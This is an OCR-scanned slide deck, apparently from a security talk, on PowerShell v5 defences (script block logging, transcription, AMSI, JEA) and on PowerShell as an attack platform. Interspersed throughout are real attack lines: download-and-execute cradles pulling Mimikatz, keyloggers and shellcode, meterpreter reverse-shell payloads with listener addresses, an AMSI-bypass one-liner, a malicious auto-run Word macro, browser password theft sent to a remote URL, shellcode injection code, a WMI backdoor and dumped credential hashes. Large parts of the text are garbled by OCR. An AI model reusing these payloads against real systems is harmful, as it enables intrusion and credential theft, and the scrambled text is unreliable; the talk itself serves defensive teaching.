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PowerShell Overview

AObjectbased scripting AExtensible through imported
language leveraging\et code modules which add new
technologies. commands.

APrimarily designed in C#.  ASimplifies data access to
Ad .1 {1 aKStt 7T zsiapdargrosguscgs{WMI, XML,

registry, event | _
APowerShell can calet egistry, event logsstc)

directly: APowerShell.exe (CLI) or

[ System.DirectoryServices PowerShell ISE.exe (ISE GUI).
ActiveDirectory.Forest I:

. GetCurrentForest () A10 years o d!

(almost)



PowerShell v5 Security Enhancements

AScript block logging
ASystemwide transcripts

AConstrained PowerShell enforced when application
whitelisting enabled (AppLocker/Device Guard)

AAntimalware Integration (Win 10)

http://blogs.msdn.com/b/powershell/archive/2015/06/09/powershethe-blue-team.aspx

Windows Management Framework (WMF) version 5 available for download:
https://www.microsoft.com/enus/download/details.aspx?1d=50395
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PowerShell Group Policy

File Action View Help

&9 2= HE 7

] Windows Media CenterE
| Windows Media Digital

15 Windows Media Player Select an item to view its description. itting | State Comment
B Wi M %1 Tumn on Medule Loggnr.\g | Enabled No
5 Windows Moty Cent ‘E‘ Tumon meverShdl Sf:npt Block Logging Enabled No
] Windows PowerShel 9 Turn on Script Execution Not configured No
" Windows Relizbilty Anz 1.:':J Turn on PowerShell Transcription Enabled No
b " Windows Remote Mana | Set the default source path for Update-Help Not configured No

| Windows Remote Shell
_| Windows Update
| Work Folders
72 Al Settings
b | Preferences
| m > |\ Bxtended / Standard /

< TR
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ﬁ Reqgistrye Editor Ii“ﬂ“él
File Edit ‘Wiew Fawvorites Help
a8 Computer = || Marme Type Data
> - HKEY_CLASSES ROOT lab] (Default) REG_SZ fwalue not set)
> -l HKEY_CURRENT_UISER %) Enablelnvocatio.. REG_DWORD 00000001 (1)
- .>“HKE;EIE)?;:$EB??CHINE fg'g-tlEnableTranscrip... REG_DisORD De00000001 ¢13
. | HARDYARE EﬂOutputDlrectnr}f REG_=Z WADEIDCO2 labladsecuriby.orgh Transcripts
oo ) SAR
- SECURITY
- | SOFTWVARE
> - ATI Technalogies
- CBSTEST
. Classes
- Clients
- Intel
- rMicrosoft
- MozillaPlugins
- . ) ODBEC
. Palicies

Reqgisteredapplications
Sonic
Wrowb432MNode
Clazzes
Clients
Intel
kAicrosoft
FozillaPlugins
QDB
Paolicies
- rAicrosoft
- Cryptography
----- MNetlogon
----- PeerDist
----- Peernet
> - SysternCertificates
- WSind oz
- CurrentWersion
w L) IPSec
Metwork Connections
MetworkConnectivityStatusIndicato
Powershell
- Fodulelogging

- ScriptBlockLogging
Ll Transcription

m




PowerShell v5 Security: Script Block Logglng

- Turn on PowerShell Script Block Logging =
E] Turn on PowerShell Script Block Logging | e T | | Nt Satting
() Mot Configured Comment: ~
(®) Enabled
() Disabled -
Supported on: | At jeast Microsoft Windows 7 or Windows Server 2008 family ~
Options: Help:

[ ] Log script block invocation start / stop events: ) . ) ) )
This policy setting enables logging of all PowerShell script

input to the Microsoft-Windows-PowerShell/Operational event
log. If you enable this policy setting,

Windows PowerShell will lag the processing of commands,
script blocks, functions, and scripts - whether invoked
interactively, or through automation.

If wou disable this policy setting, logging of PowerShell

script input is disabled.
Sean Metcalf (@Pyrotek3)

If you enable the Script Block Invocation Laogging,
PowerShell additionally logs events when invocation of a
command, script block, function, or script

starts or stops. Enabling Invocation Logging generates a
high volume of event logs.




Event 4104, Powershell (Microsoft-Windows-Powershell)

General | Details

Creating Scriptblock text (1 of 1):
Write-Output "Running Invoke-Mimikatz..."

ScniptBlock ID: cbd31773-cA0f-4f73-9b7/7-808a7624d1c7

PS C:\Users\ADSAdmin> powershell -encodedcommand VwByAGKAdABTACOATwB1AHQACAB1AHQATIAA

Running Invoke-Mimikatz...

Log Mame: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 6/253/2015 &:30:16 PM

Event ID: 4104 Task Category: Execute a Remote Command
Lewvel: Verbose Keywords: Mone

User: WIN-EQOTVRINKEKNADSEE" 'Torigatercc)  WIN-EOOTVRINKEK



PowerShell vb Security: Systéide Transcripts
- [ = S8

A Turn on PowerShell Transcription

E: Turn on PowerShell Transcription

Previous Setting Next Setting

() Not Configured Comment:
® Enabled

() Disabled

supperted 8Nt | At |east Microsoft Windows 7 or Windows Server 2003 family

Cptions:

Help:

Sean Metcalf (@Pyrotek3)

Transcript cutput directory

DLABDC1\DomainPowerShellTranscriptd

Include invocation headers:

This policy setting lets you capture the input and cutput of
Windows PowerShell commands into text-based transcripts.

If you enable this policy setting, Windows PowerShell will
enable transcripting for Windows PowerShell, the Windows
PowerShell ISE, and any other

applications that leverage the Windows PowerShell engine,
By default, Windows PowerShell will record transcnipt cutput to
each users' My Documents

]



command start time: 20160515205951

-.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l... -.l...

PS C \> C: \temp\1nv0ke -Mimikatz2

1nd0ws PowerShe]] transcript start

Start time: 20160515205956

Username: ADSECLABO\administrator

RUNAS User: ADSECLABO\administrator

Machine: ADSOWKWIN7-PSV5 (Microsoft windows NT 6.1.7601 Service Pack 1)
Host Application: C:\Windows\System32\windowsPowershell\vl.0\powershell.exe
Process ID: 160

PSversion: 5.0.10586.117

PsCompatibleversions: 1.0, 2.0, 3.0, 4.0, 5.0.10586.117

Buildversion: 10.0.10586.117

CLRVersion: 4.0.30319.18063

SManstackversion: 3.0

PSRemotingProtocolversion: 2.3

Ser1a11zat10nVers1on l 1.0.1

command start time: 20160515205956

R mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28)
HEHE N ##

## / \ ## /'.-‘-: = = . . . o

## \ / ## Benjamin DELPY "gentilkiwi ( benjamin@gentilkiwi.com )

"#H# v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo0)

"#RR#E with 15 modules * * */




PowerShell v5: Constrained PowerShell Enforced (

PS C:'\Windows'system32> SExecutionContext.SessionState.LanguageMode

ConstrainedLanguage
P5 C:'\Windows\system32> IEX (Mew-Object Net.WebClient).Download5tring( ' http://1s.gd/oecFul’); Invoke-Mimikatz -DumpCreds

P5 C:'\Windows'\system32= IEX (New-0Object Net.WebClient).DownloadString( ' https://raw.githubusercontent. com/mattifestation/Powerspl
oit/master /Exfiltration/Get-Keystrokes.psl'); Get-Keystrokes -LogPath c:temp'kev.log

PS5 C:'\Windows'system32> IEX (New-0Object Net.WebClient).Download5tring('https://raw.githubusercontent. com/mattifestation/Powerspl
o1t /master/Extiltration/Out-Minidump.psl’); Get-Process lsass ; out-minidump

C:\Users>powershell -exec bypass -noprofile -enc SQBFAFgAIAA0OAE4AZQB3ACOATWBiAGOAZQBjAHQAIABOAGUAdAAUAFcAZQBiAEMAbABpAGU
AbgBOACKALgBEAGBAdwWBUAGWAbwBhAGQAUWBOAHIAaAQBUAGCAKAANAGEAdABOAHAACWABACSALWBYAGEAdwAUAGCcAaQBOAGEAdQBiAHUACWBIAHIAYWBVAGA
AdAB1AG4AdAAUAGMAbWBtAC8B8AUABVAHCAZQBYAFMAaAAB1AGWAbABNAGEAZgBpAGEALWBQAG8AdwB1AHIAUWBWAGWAbWBpAHQALWBtAGEACWBOAGUACgAVAEU
AeABmMAGKAbABOAHIAYQBOAGKAbwBUACSASQBUAHYAbwBrAGUALQBNAGKAbQBpAGSAYQBOAHOAL gBWAHMAMQANACKAOWAgACQAbQAgADOAIABIAGAAdgBVAGS
AZQAtAEOAaQBtAGkAawBhAHQAegAgACOARAB1AGOACABDAHIAZQBKAHMAOWAZACQADBQAKAA==



PS C:\> $ExecutionContext.SessionState.LanguageMode

onstrainedLanguage

PS C:\> IEX (New-Object Net.WebC]ient).Down1oad$tring('http://bit.1y/1ok4Pmt');
Invoke-Mimikatz -DumpCreds




Windows 10 PS Security: Antimalware Integration

MsMpEng.exe

$ t (Windows Defender Service)

AMSLh + AMSLIib + AMSIdill
Win32 API Layer AmaiScanBuffer()
AmzaiScanString()
"""""""""""""""""""""" MpEngine dll
G s (Defender Scan Engine)
Amsi h + i.
COM API Layer IAntimalware: - Scan () g MpSve.dll
(Defender RPC Server)
AV Provider Layer Windows Defender Provider Class 3" Party AV Provider
IAntimalwareProvider: : Scan() Cla‘sé
S AN

! !

[ ‘ RPC. J

Sean Metcalf (@Pyrotek3)



Windows 10AntiMalwareScan Interface (AMSI)

PS C:\Windows\system32Z> Iex (Invoke-wWebRegquest http://pastebin.com/raw.php?i=JHhnFV3m)




&4 Windows Defender X

Windows Defender

We found some files we'd like to analyze. Send them to Microsoft to help us improve our
anti-virus and malware measures.

To help protect other users’ privacy, some files are hidden. Click o View all

View all to see these files.

File path
PowerShell_CA\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_10.0.105...

Sean Metcalf (@Pyrotek3)




PS C:\WINDOWS\system32> get-mpthreatdetection | Sort LastThreatStatusChangeTime

ActionSuccess . True

AdditionalActionsBitMask =0

AMProductvVersion : 4.9.10586.0

CleaningActionID : 9

CurrentThreatExecutionStatusID : 2

DetectionID : {AOFD4CBE-6ECD-4B56-8964-FCDF1D31FBOB}

DetectionSourceTypelD 2

DomainUser : NT AUTHORITY\SYSTEM

InitialDetectionTime : 3/22/2016 2:27:19 PM

LastThreatStatusChangeTime : 3/25/2016 5:21:32 PM

ProcessName : C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe

RemediationTime -

Resources : {amsi:_PowerShell_cC:\Windows\System32\WindowsPowershell\v1l.0\powershell.exe_10.0.10586
.00000000000000013, file:_C:\Temp\Inv-MMK - Copy.psl, file:_C:\Temp\Inv-MMK.psl,
file:_C:\Temp\Inv-MMK2.psl...}

hreatID : 2147690356

Ps C:\;-Gét-ﬁpThrEatDetection | sort InitialDetectionTime -Descending

ActionSuccess : True

AdditionalActionsBitMask 20

AMProductversion : 4.9.10586.0

CleaningActionID 2

CurrentThreatExecutionStatusID : 0

DetectionID : {EC68B191-CD89-41C6-B5E2-3085722BFDF9}
DetectionSourceTypelD : 10

DomainUser : YODA\sean

InitialDetectionTime : 3/25/2016 5:48:26 PM
LastThreatStatusChangeTime : 3/25/2016 5:48:59 PM

ProcessName : Unknown

RemediationTime : 3/25/2016 5:48:59 PM

Resources : {amsi:_PowerShell_cC:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe_10.0.1058

.00000000000000010}
hreatID : 2147706304
hreatStatuskErrorcCode Rl
hreatStatusID i Sean Metcalf (@Pyrotek3)

PSComputerName



Bypassing Windows 10 AMSI

ASometimes, PowerShell code gets through.

ADLL hijacking:

http://cn33liz.blogspot.nl/2016/05/bypassingmstusingpowershels-
dil.html

AUse Reflection:
4
[Ref].Assembly.GetType('

Automation.AmsiUtils').GetField(' amS|In|tFa|Ied'
,'NonPublic,Static').SetValue($null,$true)

Sean Metcalf (@Pyrotek3)



http://cn33liz.blogspot.nl/2016/05/bypassing-amsi-using-powershell-5-dll.html

PS C:\> IEX (New-0O Ject Net wWebClient) .DownloadString
Invoke-Mimikatz -DumpCreds

CHER#H . mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 2015 19:16:34)
HHE N #E.
## /) \ ## Jx * %
## \ / ## Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
"#H# v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo0)
"HE#HA' with 17 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 1935137 (00000000:001d8721) | windowsDefender

Session : RemoteInteractive from 2 R e 000 kot s i e T Bt
U S e r' Name : ad Sadm_i n help Microsoft analysts determine whether these items are malicious.
Domain : ADSWKWIN1O s 35 i
Logon Server : ADSWKWINI1O s ol
Logon Time = 18/04/20186 21:486:57
SID : S-1-5-21-2628038985-1882936205-1

msv :

[00000003] Primary
* Username : adsadmin

* Domain  : ADSWKWINLO —

* Flags : I00/NO01/L00/SO1 S [ )
* NTLM : 7¢c08d63a21t481045971bc2236ed3f3ac

* SHAL : 05a6fb630c065d50471cd5a30ac5604642a74e31

[00010000] CredentialKeys
* NTILM - 7c08d63a2f48F045971bc2236ed3f3ac




Security Vendors Supporting Win10 AMSI

1. Microsoft Defender: Now 6. Symantec: ???

2. AVG: Now (AVG /. McAfee: ?77?
Protection 2016.7496) g, Sophos: ??

3. ESET: Version 10 Beta g, kaspersky: ?7?

4. Avast: - 10BitDefender ??
cAvast will be implementing

AMSI in the near future¢  11.FSecure ;27
(7/2015) 12.Avira : ??

5. Trend Micro:; ?? 13.Panda : ?7?
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Just Enough Administration (JEA
PowerShell v5, Windows 10, Windows Server 201

aka.msjea
https://msdn.microsoft.com/powershell/jea/readm ( NS



http://aka.ms/jea
https://msdn.microsoft.com/powershell/jea/readme

JEA Overview

AConstrained PowerShell remoting session with
whitelisted cmdlets with select parameter options.

ABaked into Windows 10/2016, otherwise deploy PSv5.
ABSESAFUAYT aSNIISNI NRIKU A

| OO02dzy i€ O02AYYy®PdPM I HANMHW
AGain insight through PS logging/transcription.

Aldeal for server admin delegation & Active Directory
tasks.



JEA Configuration

APrerequisites (domaijoined, PS Remotingfc).
Aldentify tasks & restrict as appropriate.

AConfirm they work with JEA.

AConfigure tasks in a Role Capability file (PSRC).

ARegister a Session Configuration that exposes Role
Capability.

AFollow principle of least privilege.

ATest. You can accidentally expose access so review
Role Capability exposure.



PowerShell as an Attack Platformnr

1 DON'T ALWAYS
USEPOWERSHELL




Attackers Have Options

ACustom executables (EXEs) AVBScript
AVindows command tools  ACScript
ARemote Desktop AJavaScript
ASysinternatools ABatch files
AWindows Scripting Host ~ APowerShell



Quick PowerShell Attack History

ASummer 2016 DEF CON 18: Dave Kennedy & Josh Kelly
at 29 SNJ K Stipf://mwwtr.yauGhBcbingvatch?v=JKIVONFD53w

ADescribes many of the PowerShell attack techniques used today (Byp
exec policy;Eng & IE).

AReleasedPowerDumpo dump SAM database via PowerShell.
A2012¢ PowerSploita GitHub repo started by MaBraeber
launched with Invoke&shellcode.
AdLy2SOu akKStfO2RS Ayu2z2 0KS LINZO
OZ2YUSEU 27 UKS NHzyyAy3d t 2SNJ KS
A2013- InvokeMimkatzreleased by JoBialekwhich leverages
Invoke ReflectivePEInjection



https://www.youtube.com/watch?v=JKlVONfD53w

Benefits of PowerShell as an Attack Platform

ARun code in memory without touching disk.

ADownload & execute code from another system.
Alnterface with.Net& Windows APIs.

ABUilt-in remoting.

ACMD.exe is commonly blocked, though not PowerShell.
AMost organizations are not watchlng PowerShell activity.

Aalyeé SYRLRZAYU aSOdzNA G& LN
iInto PowerShell activity.



YEAH, IEYOU GOULD JUST OPEN THAT
WORD DOCUMENT

& BYPASS MAGRO'SEGURITY THAT,WOULD
BE GREAL...

Mies & FULSIFIAL 2 PRIZB2/CUR!

Realworld PowerShell attacks

Sean Metcalf (@Pyrotek3)




Word Macro-> PowerShel> Download & Execute Payloa

Sub Autoopen()
const HIDDEN_WINDOW = 0

strComputer =
Xl = Down]oadf
x2 - 1n n ’nv\‘ ll1:r'1 ngll

Set obJWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set objstartup = objwMIService.Get("'Win32_ProcessStartup')

Set objConfig = objStartup.SpawnInstance_

objconfig.showwindow = HIDDEN_WINDOW

Set objProcess = Getobject("winmgmts:\\ & strcomputer & "\root\cimv2:Win32_Process’

] objProcess.Create "power” & "shell” & ".exe -Execut1onPo11cy Bypass
-WindowStyle Hidden —noprof11e -noexit -c if ([IntPtr]::size -eq 4)
{(new-object Net.webClient)." & x1 & x2 &

1" ("https://github[.]com/* redacted ') | 1iex } else

[{(new object Net.webClient)." & x1 & x2 & |

"("https://github[.]com/*redacted*') | iex}", Null.
objConfig, intProcessID
End Sub

Sean Metcalf (@Pyrotek3)



[System.Net.ServicePointManager]: :ServerCertificatevalidationCallback - { $true }
cmd ¢ systemroot \system32\windowspowershell\vl.@\powershell.exe

"[System.Net.ServicePointManager]::ServerCertificatevalidationCallback = { “$true }; IEX (New-Object
Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=chrome'); Stop-Process -name chrome -ErrorAction
SilentlyContinue; Start-sleep -seconds 3; Get-ChromeDump -OutFile $env:temp\chrome.log; Exit"

Start-Sleep -Seconds 60

If (Test-Path "$env:temp\chrome.log") {

#$content = [I0.File]::ReadAllText("$env:temp\chrome.log")

$content Get-Content "$env:temp\chrome.log" Out-String

$content [System.Convert]::ToBase64String([System.Text.Encoding]: :UTF8.GetBytes($content))

$json {"resolution" - $resolution; "domain"™ - $domain; "computer_name" - $computer_name; "username" - $username; "timezone"

$timezone; "hashid" $hashid; "version" $version; "content™ $content; "type" "chbrwpwd"}

$log json - $json  ConvertTo Json

$buffer - [System.Text.Encoding]::UTF8.GetBytes($log json)

e Download Code & Upload Recon Data

$url '/pshlog’ p

[System.Net.HttpWebRequest] $webRequest [System.Net.WebRequest]::Create($url '/pshlog')

$webRequest.ContentType = "application/json"

$webRequest.Timeout 10000

$webRequest.Method "pPOST"

http://pastebin.com/7wYupkJL

$webRequest.ContentLength - $buffer.Length; Sean Metcalf (@Pyrotek3)


http://pastebin.com/7wYupkJL

Download Code & Execute

C:\Windows\System32\windowsPowershell\vl.0\powershell.exe -Command
iex (New-Object system.Net.webClient).Downloadstring(\""https://goo.gl/11xkcQ\"");

Invoke-Shellcode -Force -Shellcode Oxfc.Oxe8. 0x82.0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x
e7780aabl0elee068b0f120764e52753e6099¢c7601b0dca87998e1040fa21a2b

C:\WINDOwS\system32\windowsPowershell\vl.0\powershell.exe -ep Bypass -WindowStyle Hidden
-nop -noexit -c IEX ((New-Object Net.webcClient).Downloadstring('192.168.1.1"));

Invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -Lport 8080 -Force
84bab3fcd2999d67d98ce2a650e18e7065002c04f7c54b80daefacale8dbc47b

C:\WINDOwS\system32\windowsPowershell\vl.0\powershell.exe -ep Bypass -WindowStyle Hidden |-nop -noexit -c

IEX ((New-Object Net.webcClient) .Downloadstring('https://raw.githubusercontent.com/powershellmafia/powersploit/master/codeexecuti
Invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.16.1.29 -Lport 1652 -Force
2759f8165895bc0e91cde2c73a5h44ea8fcaal873db77932bd4fc4a46822ecd94

C:\Windows\system32\windowsPowershell\vl.0\powershell.exe -Exe ByPass -Nol
-Enc KABUAGUAdwWAtAG8AYgBQAGUAYWBOACAAUWBS5AHMAJAB1AGOALgBOAGUAJAAUAFCAZQB1AEMAbABPAGUAbgBOACKALgBEAGS8 AdWBUAGWAbWBhAGQAZgBPAGWAZQA

http://pastebin.com/jJuC4CkOQG

Sean Metcalf (@Pyrotek3)


http://pastebin.com/juC4CkQG

Download JPG file as EXE, then Execute

Powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden
-] (New-Objecstem.Net.webcClient) .DownloadFile( 'http://mobgroup.ga/updated/detected.exe’
"C:\Users\Userl\AppData\Roaming\tandjeGerst.exe');

Start-Process 'C:\Users\Userl\AppData\Roaming\tandjeGerst.exe'
6360306ffc0095cac18b86dcb8b243801f493ea6592¢c7c78c1209d00a8d10f23

Powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden
=] (New-Object System.Net.webClient) .DownloadFile('http://allmods.esy.es/MessageBox.jpg"’ .
- "c:\Users\Userl\AppData\Roaming\Example.exe');
“Start-Process 'C:\Users\Userl\AppData\Roaming\Example.exe'
972a51b33b15f516e95ec06b6c56b2cd58bdb8365c24de2e6731bbc7aac3bbda

http://pastebin.com/jJuC4CkOQG

Sean Metcalf (@Pyrotek3)


http://pastebin.com/juC4CkQG

N \\ P o A

/| NB lUpdate Google Gl a] U2 SESO

=lc:\Windows\system32\schtasks.exe /create /TN update_google /TR "powershell.exe -ep Bypass
-Windowstyle hidden -noexit -c 'IEX ((New-Object Net.webClient).Downloadstring('''""))";

| Invoke-shellcode -Payload windows/meterpreter/reverse_http -Lhost 115.70.184.41 -Lport 4445 -Force"
/sc onidle /i 2 1c67973f7d76f608900db685e42831f79a892bc9c99837f748f473a0900f7579
C:\Windows\System32\WindowsPowershell\vl.0\powershell.exe -enc
JAAWADgAUQAgADOAIAAnAFSARABSAGWASQBtAHAAbWByAHQAKAAiAGSAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBi

B--2 $08q = "[Dl1Import(“kernel32.d11")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
uint dwsize, uint fl1AllocationType, uint flProtect):
[D]]Import("kerne132.d11")]pub]ic static extern IntPtr CreateThread(IntPtr TlpThreadAttributes,
uint dwstackSize, IntPtr IpStartAddress, IntPtr lIpParameter, uint dWCreationF1ags IntPtr 1pThreadId
[D11Import("msvcrt.dl1")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);

~$w = Add-Type -memberDefinition $08Q -Name "win32" -namespace Win32Eunctions -passthru Byte| :ﬁ;
‘Bytel[ 1%z = Oxda,Oxce,0xb8,0x97,0x02,0xfe,0x68,0xd9.0x74,0x24,0xf4,0x5b,0x31,0xc9, Oxbl Ox71,0x31 0%

$g = 0x1000; 1f ($z.Length -gt 0x1000){%g = $z.Length};
SQwjc=%w: V1rtua1A11oc(O 0x1000, $g,0x40) ;
for ($1=0;%1 -le ($z.Length- 1) $1++) {Sw::memset([IntPtr]($Qwjc.ToInt32()+%1), $z[$i], 1D};

$w::CreateThread(0 0,%Qwjc,0,0,0);for (;;){start-sleep 60};

http://pastebin.com/juC4CkOG

Sean Metcalf (@Pyrotek3)


http://pastebin.com/juC4CkQG

-or

-or

-or

=or

=or

-or

-or

-or

=or

-or

-or

-or

-or

-or

=or

-or

-or

=or

($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.
($Process.

($Process.

($Process.

MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle
MainWindowTitle

MainWindowTitle

-clike '*Banking*') -or ($Process.MainWindowTitle -like '*Log in to your PayPal account*') °

-like '*Expedia Partner*Central*') -or ($Process.MainWindowTitle -like '*Booking.com Extranet*') °

-like '*Chase Online - Logon*') -or ($Process.MainWindowTitle -like '*One Time Pay*')

-clike "*LogMeIn*') -or ($Process.MainWindowTitle -clike '*Windows Security*')

~

~

-like '*Choose a way to pay*') -or ($Process.MainWindowTitle -like '*payment information*') °

-clike '*Change Reservation*') -or ($Process.MainWindowTitle -clike '*POS*') °

-like '*Virtual*Terminal*') -or ($Process.MainWindowTitle -like '*PayPal: Wallet*')

-like

~

"*iatspayment*') -or ($Process.MainWindowTitle -like '*LogMeIn*') °

-clike '*Authorize.Net*') -or ($Process.MainWindowTitle -like '*LogMeIn*') °

-clike '*Discover Card*') -or ($Process.MainWindowTitle -like '*LogMeIn*') °

-like "*ewallet*') -or ($Process.MainWindowTitle -like '*arcot*') °

-clike
-clike
-clike
-clike
-clike
-clike
-clike

-clike

'*PayTrace*"')

-or ($Process.MainWindowTitle -clike '*New Charge*') °

"*Verification*') -or ($Process.MainWindowTitle -clike "*PIN*') °

"*Authentication*') -or ($Process.MainWindowTitle -clike '*Password*') °

'*Debit Card*')

"*LastPass*') -or ($Process.MainWindowTitle -clike '*SSN*')

"*Driver*License*")

-or ($Process.MainWindowTitle -clike '*Activation*') °

-or ($Process.MainWindowTitle -clike '*Check-in for*') °

"*Umpqua*') -or ($Process.MainWindowTitle -clike '*ePayment*') °

"*Converge -*'")

-or ($Process.MainWindowTitle -clike '*Swipe*') °

Frﬁd°eFTwaﬁt1al & Sensitive: @rowser*“wmd OWS

(Test-Path "$env:TEMP\key.log")

-and

1

20 3 §

Sean Metcalf (@Pyrotek3)

http://pastebin.com/7wYupkJL



http://pastebin.com/7wYupkJL

Take Screenshots with PowerShell

'Reflection.Assembly|: :LoadwithPartialName('System.Drawing")

[function screenshot(/Drawing.Rectangle]$bounds, $path){

$bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height

$graphics = [Drawing.Graphics]: :FromImage ($bmp)
$graphics.copyFromscreen($bhounds.Location, [Drawing.Point]::Empty, $bounds.size.
$bmp.save($path)

$graphics.Dispose()

$bmp .Dispose()

¥

$pth = [Environment]: :GetFolderPath("Templates”) + "\\screenshot__.png"
$bounds = [Drawing.Rectangle]::FromLTRB(O, 0, 1000, 900)

screenshot $bounds $pth

Sean Metcalf (@Pyrotek3)



WMI Backdoor

$f11terName "BotFilter82'
$consumerName '"BotConsumer23’
$exePath "C:\Windows\System32\evil.exe'

$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfoS_System'
AND TargetInstance.SystemUpTime >= 200 AND
TargetInstance.SystemUpTime < 320"

SWMIEventFilter = Set-WmiInstance -Class __EventFilter -
NameSpace '"root\subscription" -Arguments
@{Name=5%$f1lterName;EventNameSpace="root\cimv2";QueryLanguage-"wQ
L";Query=%Query} -ErrorAction Stop

$WMIEventConsumer Set-WmiInstance -Class o
CcommandLineEventConsumer -Namespace ''root\subscription” -

Arguments _
@{Name=%consumerName ;ExecutablePath=%$exePath;CommandLineTemplate

$exePath}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace
"root\subscription" -Arguments
@{Filter=$wWMIEventFilter;Consumer=$wWMIEventConsumer}

https://www.blackhat.com/docs/usl 5/materials/us15-GraeberAbusingWindowsManagemeninstrumentationrWMI-

To-Build-A-Persistent%20Asynchronodsd-FilelessBackdooswp.pdf

Sean Metcalf (@Pyrotek3)


https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf

JeffreySnover& Lee Holmes- DerbyCor?2016 Keynote

< » X (New-ODject Netl wWebCitent) DownlcadString
oke-Mimikatz

LLLLE mimikats 2.0 alpha (x64) release "Kiwi en C* (Dec 14 2015 19:16:34 -
. APy,
'
" Benjamin DELPY gd
T v " http://blog.genty
'TI11 N

owerSt

Attack, a portabl + p

ACON PS¢

We know you have your choice of post-exploitation languages
so we thank you for hacking with PowerShell

AIGHT



POWERSHELL CODE EXECUTION

-

PowerSheII W|thout PowerSheII ex
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namespace HostSamples

{
using System;
using System.Management.Automation; // Windows PowerShell namespace

Run PowerShell fromhlet

fThis class defines the main entry point for a host application ti
synchronously invokes the following pipeline:

[Get-Process]

internal class HostPS1

APowerShell = { -
System.Management.Automation. dII R

e="args">This parameter is not used.</param>
pri te static void Main(string[] args)

AApplications can run PowerShell cogg™ ™™=

#/ empty pipeline.

Adt 2 6 S IWd=RasvérShell.Create Ué

// Call the PowerShell. Add(ummand(q ring) method to add

// the Get-Proceas cmdlet to the peline. BQ

Sy ¢SyQa dab2i t25SNJKSEI

ps.AddCommand("Get-Process");

https://github.com/Ben0OxA/nps O =i G

Console.WriteLine("----------------““cccmcc-" b)) }4

// Call the PowerShell.Invoke() method to run the
// commands of the pipeline.
foreach (PSObject result in ps.Invoke())

Console.WritelLine(
“{0,-24}{1}",
Sean Metcalf (@ PyrotekS) result.Members["ProcessName"].Value,
result.Members["Id"].Value);
Y // End foreach.


https://github.com/Ben0xA/nps

| dzZaG2Y Gt 26SNI KSEf €&

ACreate C# application that referendeswershell
System.Automation.dll assembly.

AN SOSNI IS 1 dzi2YFGA2Y | aaSyYof
PowerShell Code.
ASimilar to how PowerShell.exe works.

AUnmanaged PowerShély Lee Christensen
https://github.com/leechristensen/UnmanagedPowerShell

AFoundation for most PowerShell attack tools running outside
of powershell.exe.

AStarts up .NET & performs-memory loading of a custom
C# assembly that executes PowerShell.

AExecutes PowerShell from an unmanaged process.



https://github.com/leechristensen/UnmanagedPowerShell

MetasploitPowerShell Module

meterpreter > use powershell

Loading extension powershell

meterpreter > powershell import /tmp/test.psl
[+] File successfully imported. Result:
win-/ch5rtl//7ba\o]

False

meterpreter > powershell import /tmp/MSF.Powershell.Sample.dll

[+] File successfully imported. Result:

true

meterpreter > powershell execute '(New-Object MSF.Powershell.Sample.HelloWorld) .Run()"
[+] Command execution completed:

Hello, world!

meterpreter > |

oJ
' Powershell import now works! Both .ps1 files and .NET assembly .dll files are supported. #meterpreter




SideStepping PowerShell Security

Sean Metcalf (@Pyrotek3)



PowerShell Attack PlatforraS>Attack

ADescription

ASelf contained custom PowerShell console which includes
many offensive PowerShell tools.

ACalls PowerShell througNet

AModules are encrypted (AV evasion) and decrypted to
memory

ACustom Build Tool
Alse

ARecon, Credential Theft, Privilege Escalation, Data Exfiltrati

AAuthor

Adared Haight (@redhaigh)
https://github.com/jaredhaight/psattack



https://github.com/jaredhaight/psattack

C:\Temp\PSAttack\PSAttack.exe

(N 7/ )_( ( ( ( ( o)
)N _ . B
/ \ \ )| ||
||

|l

_ ) (/]

|
|| |
|| ( /20 N

PS>Attack is loading...
Decrypting: Get-Information
Decrypting: VolumeShadowCopyTools
Decrypting: PowerUp

Decrypting: Tater

Decrypting: Invoke-Ninjacopy
Decrypting: Out-Dnstxt
Decrypting: Invoke-PsUACme
Decrypting: dns_txt pwnage
Decrypting: Gupt-Backdoor
Decrypting: Invoke-WMICommand
Decrypting: Invoke-Shellcode
Decrypting: Inveigh-Relay
Decrypting: Inveigh




C:\Temp\PSAttack #> get-attack
Welcome to PS>Attack!
Get-Attack will let you search through the built in attacks to find what you're looking for.

The search will look through the description of the attacks as well as some predefined
categories. Those categories are:

Recon
Passwords
Exfiltration
